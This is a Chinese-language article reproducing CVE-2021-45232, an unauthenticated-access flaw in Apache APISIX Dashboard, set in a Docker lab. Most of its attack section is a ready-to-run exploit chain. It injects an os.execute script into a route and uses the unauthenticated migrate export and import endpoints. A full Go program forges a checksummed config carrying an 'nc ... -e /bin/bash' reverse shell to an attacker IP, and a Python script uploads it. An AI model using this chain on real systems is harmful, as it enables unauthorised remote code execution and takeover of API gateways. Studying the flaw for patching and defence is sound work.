时间:2023-03-17来源:系统城装机大师作者:佚名
Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。
Apache APISIX Dashboard < 2.10.1
通过git clone apisix-docker
1 2 |
git clone https: //github .com /apache/apisix-docker cd apisix-docker /example/ |
修改docker-compose.yml
1 2 |
apache/apisix-dashboard:2.7 apache/apisix:2.6-alpine |
然后,docker-compose up -d 启动环境
环境起来后,浏览器通过默认端口9000访问apisix dashboard
由于apisix dashboard 默认账号和密码是admin:admin,所以我们先登录到后台,来验证一把远程命令执行
首先创建一个上游服务,点击创建,名称随意命名,目标节点填写我们转发请求的服务,这里我们填写docker附带的Grafana应用,端口号为3000,点击下一步,提交即可。
其次,创建一个路由,名称任意起,路径也是自定义,点击下一步,选择我们刚才创建的上游服务,最后,提交即可。
查看创建的路由
回到路由配置页面,点击配置,然后一直下一步,直到提交时,使用BurpSuite抓包
然后在请求包的body中,添加一个script字段后,发送请求。
1 | "script" : "os.execute('touch /tmp/Keepb1ue')" |
再次查看,路由配置信息
接着,我们访问一下: http://192.168.10.171:9080/rce111
docker中看一下,是否创建了Keepblue这个文件
如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行RCE了
1 2 |
/apisix/admin/migrate/export /apisix/admin/migrate/import |
首先,使用/apisix/admin/migrate/export导出配置文件
因为是未授权,所以在未登陆情况下,BP抓包后,请求接口改为/apisix/admin/migrate/export,点击send后,看到配置文件信息
在导入配置文件时,会对配置文件的checksum值进行校验,那这里其实是可以通过写脚本算出checksum校验值,或者是根据apisix的源码去计算出新的checksum值
源码位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函数将其计算源码单独抽取出来,并将需要导入的配置(data)进修替换和插入RCE语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
package main import ( "encoding/binary" "fmt" "hash/crc32" "io/ioutil" "os" ) func main() { gen() } func gen() { data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`) checksumUint32 := crc32.ChecksumIEEE(data) checksumLength := 4 checksum := make([]byte, checksumLength) binary.BigEndian.PutUint32(checksum, checksumUint32) fileBytes := append(data, checksum...) content := fileBytes fmt.Println(content) importData := content[:len(content)-4] checksum2 := binary.BigEndian.Uint32(content[len(content)-4:]) if checksum2 != crc32.ChecksumIEEE(importData) { fmt.Println(checksum2) fmt.Println(crc32.ChecksumIEEE(importData)) fmt.Println("Check sum check fail, maybe file broken") return } err := ioutil.WriteFile("apisixPayload", content, os.ModePerm) if err != nil { fmt.Println("error!!") return } } |
运行这段脚本,会生成apisixPayload这个文件
这个就是我们要import上去的计算好校验值的新的配置文件,接下来使用python代码可以简单的传到服务端
1 2 3 4 5 6 |
import requests url = "http://192.168.10.171:9000/apisix/admin/migrate/import" files = { "file" : open ( "apisixPayload" , "rb" )} r = requests.post(url, data = { "mode" : "overwrite" }, files = files) print (r.status_code) print (r.content) |
在攻击机上,开启nc监听
接下来,访问路由地址(http://192.168.10.171:9080/rce111),触发远程命令执行
查看nc反弹shell
反弹成功,说明命令已经执行
到此这篇关于Apache APISIX Dashboard 未授权访问漏洞(CVE-2021-45232)的文章就介绍到这了
2024-07-07
myeclipse怎么导入tomcat教程2024-07-07
myeclipse如何启动tomcat2024-07-07
myeclipse如何绑定tomcat上线了一个小的预约程序,配置通过Nginx进行访问入口,默认的日志是没有请求时间的,因此需要配置一下,将每一次的请求的访问响应时间记录出来,备查与优化使用....
2023-03-17